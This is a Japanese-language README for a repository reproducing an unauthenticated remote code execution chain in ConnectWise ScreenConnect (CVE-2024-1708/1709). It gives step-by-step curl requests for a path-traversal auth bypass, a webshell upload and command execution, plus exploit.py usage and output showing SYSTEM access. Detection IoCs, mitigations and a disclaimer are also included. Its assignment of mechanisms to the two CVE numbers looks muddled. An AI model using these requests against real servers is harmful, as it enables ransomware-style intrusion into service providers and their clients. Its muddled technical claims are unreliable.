
cve-2024-1708-connectwise_rce_reproduction の再現
CVSS スコア: 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
CWE: CWE-22(パストラバーサル)、CWE-288(代替パスを使用した認証バイパス)
影響を受けるソフトウェア: ConnectWise ScreenConnect(旧 ScreenConnect)≤ 23.9.7
発見・報告: 2024年2月
実環境での悪用: LockBit、Black Basta、Bl00dy などのランサムウェア関連組織
CVE-2024-1708 および CVE-2024-1709 は、ConnectWise ScreenConnect(旧 ConnectWise Control)における連鎖的な脆弱性のペアであり、これらを組み合わせることで、認証されていないリモート攻撃者 が ScreenConnect サーバー上で 完全なリモートコード実行 を達成できます。
CVE-2024-1708 — パストラバーサルによる認証バイパス。SetupWizard.aspx エンドポイント(および関連するセットアップ/アップグレードエンドポイント)は、ユーザーが指定したパストラバーサルシーケンス(../)を適切にサニタイズしません。認証されていない攻撃者は、意図されたセットアップディレクトリの外部にトラバースし、認証が必要なエンドポイントに到達できます。ウィザードは SYSTEM(Windows)または root(Linux)アカウントのコンテキストで実行されるため、攻撃者は昇格した権限を継承します。
CVE-2024-1709 — RCE につながる無制限のファイルアップロード。認証がバイパスされると、攻撃者は任意の .aspx またはその他の実行可能ファイルを Web ルートにアップロードできます。その後、アップロードされたファイルをリクエストすることで、サーバー上で任意のコードが実行されます。
これらの脆弱性は、2024年2月19日以降、複数のランサムウェアグループによって大量に悪用されました:
| ランサムウェアグループ | キャンペーンの概要 |
|---|---|
| LockBit | ScreenConnect インスタンスを広範にスキャン。LockBit 暗号化プログラムを下流に展開するために使用。 |
| Black Basta | MSP へのアクセスを利用して、管理対象クライアントネットワークにピボット。 |
| Bl00dy | パッチ未適用の ScreenConnect サーバーを標的とした小規模なキャンペーン。 |
ScreenConnect は、数百の下流クライアントエンドポイントをリモート管理するために マネージドサービスプロバイダー(MSP) によって一般的に展開されているため、単一の ScreenConnect サーバーが侵害されると サプライチェーン攻撃 が可能になります。その ScreenConnect サーバーにエージェントが接続されているすべてのクライアントが危険にさらされます。
ScreenConnect サーバーは、次の場所にセットアップウィザードを公開しています:
/SetupWizard.aspx/
特定のアップグレード/修復状態では、サーバーはセットアップウィザードが初回実行時のものであると想定するため、認証を適用しません。重大な欠陥は、ウィザードの名前空間配下のパスにアクセスする際に、サーバーが __Session Cookie または Transfer-Encoding / Content-Type ヘッダーを処理する方法にあります。
次のリクエストを送信することで:
/SetupWizard.aspx/../../ScreenConnect/Login.aspx
パストラバーサルにより「セットアップウィザード」コンテキストがキャンセルされますが、サーバーは未認証セッションコンテキストが引き続き適用されると認識します。攻撃者は、認証されたかのようにリダイレクトされるか、ページを提供されます。
代替ベクター: PrepareUpgrade.aspx / PostUpgrade.aspx ハンドラーも同様に認証チェックがなく、ファイルアップロード機能を公開しています。
攻撃者が認証済みエンドポイントに到達すると(またはセットアップコンテキストのファイルアップロードハンドラーに直接アクセスすると)、悪意のある .aspx ウェブシェルをアップロードできます:
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" %>...
------BOUNDARY--
ファイルは Web アプリケーションディレクトリ(例: C:\Program Files\ScreenConnect\Website\)に書き込まれます。アップロードされたシェルをリクエストすると、サーバーの権限で実行されます。
SetupWizard.aspx ハンドラーは、そのルート配下のリクエストはすべてセットアッププロセスの一部であり認証をバイパスすべきであると信頼していますが、パストラバーサルがその前提を破ります。../ シーケンスやシンボリックリンクトラバーサルの適切な検証がありません。| バージョン範囲 | ステータス |
|---|---|
| 23.9.7 以下 | 脆弱 |
| 23.9.8 | パッチ適用済み(2024年2月20日リリース) |
| 23.9.9 | パッチ適用済み |
| 23.9.10(最新) | パッチ適用済み |
注記: セルフホスト(オンプレミス)の ScreenConnect サーバーが主な標的です。ConnectWise ホスト(クラウド)の ScreenConnect インスタンスは公開前にパッチが適用されており、脆弱な状態になったことはありません。
C:\Program Files\ScreenConnect\/opt/screenconnect/# Check the version
curl -s http://<target>:8040/ | Select-String "ScreenConnect"
または Web インターフェースにアクセスし、ページソース内のバージョン番号を確認します。
curl -v --path-as-is "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"
脆弱なサーバーでの期待される動作:
curl -X POST "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
-H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
-F "[email protected]"
curl "http://<target>:8040/shell.aspx?cmd=whoami"
同梱の exploit.py スクリプトは、上記の手順を自動化します:
usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]
Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target hostname or IP
-p PORT, --port PORT Target port (default: 8040)
-c COMMAND, --command COMMAND
Command to execute (default: whoami)
--ssl Use HTTPS
Example:
python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"
$ python exploit.py -t 192.168.1.100 -c "whoami"
[*] Target: 192.168.1.100:8040
[*] Using SSL: False
[*] Step 1: Testing path traversal for auth bypass...
[+] Target appears vulnerable! Server version: 23.9.7
[*] Step 2: Uploading webshell...
[+] Webshell uploaded to: http://192.168.1.100:8040/PoCsAccSwLgSdE.aspx
[*] Step 3: Executing command 'whoami'...
[+] Output:
nt authority\system
Web サーバーログで次の IoC を検索します:
GET /SetupWizard.aspx/../../ScreenConnect/
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
GET /*.aspx?cmd=
このリポジトリは、教育および正規のセキュリティ研究目的のみ で提供されています。所有していないシステム、または明示的な書面によるテスト許可を得ていないシステムへの無許可のテストは違法です。著者はこの情報の誤用について一切の責任を負いません。
| 対策 | 実装 |
|---|
| WAF ルール | /SetupWizard.aspx/ 以降の URL パスに ../ を含むリクエストをブロック |
| ネットワークセグメンテーション | ScreenConnect を、厳格な egress フィルタリングを備えた分離された管理 VLAN に配置 |
| アクセス制御 | ScreenConnect Web インターフェースへのアクセスを信頼できる IP 範囲のみに制限 |
| モニタリング | 外部ソースからの /SetupWizard.aspx/ へのリクエスト、または ScreenConnect\Website\ での予期しない .aspx ファイル作成を警告 |
| MFA | MFA はこれを阻止できませんが(認証バイパスはログイン前)、多層防御のためすべての管理者アカウントに適用 |
| ソース | URL |
|---|
| NVD - CVE-2024-1708 | https://nvd.nist.gov/vuln/detail/CVE-2024-1708 |
| NVD - CVE-2024-1709 | https://nvd.nist.gov/vuln/detail/CVE-2024-1709 |
| ConnectWise セキュリティアドバイザリ | https://www.connectwise.com/company/trust/security-advisories |
| Huntress Labs - 初期開示 | https://www.huntress.com/blog/mass-exploitation-of-connectwise-screenconnect |
| CISA 既知の悪用された脆弱性 | https://www.cisa.gov/known-exploited-vulnerabilities |
| ATT&CK テクニック: 外部リモートサービス(T1133) | https://attack.mitre.org/techniques/T1133/ |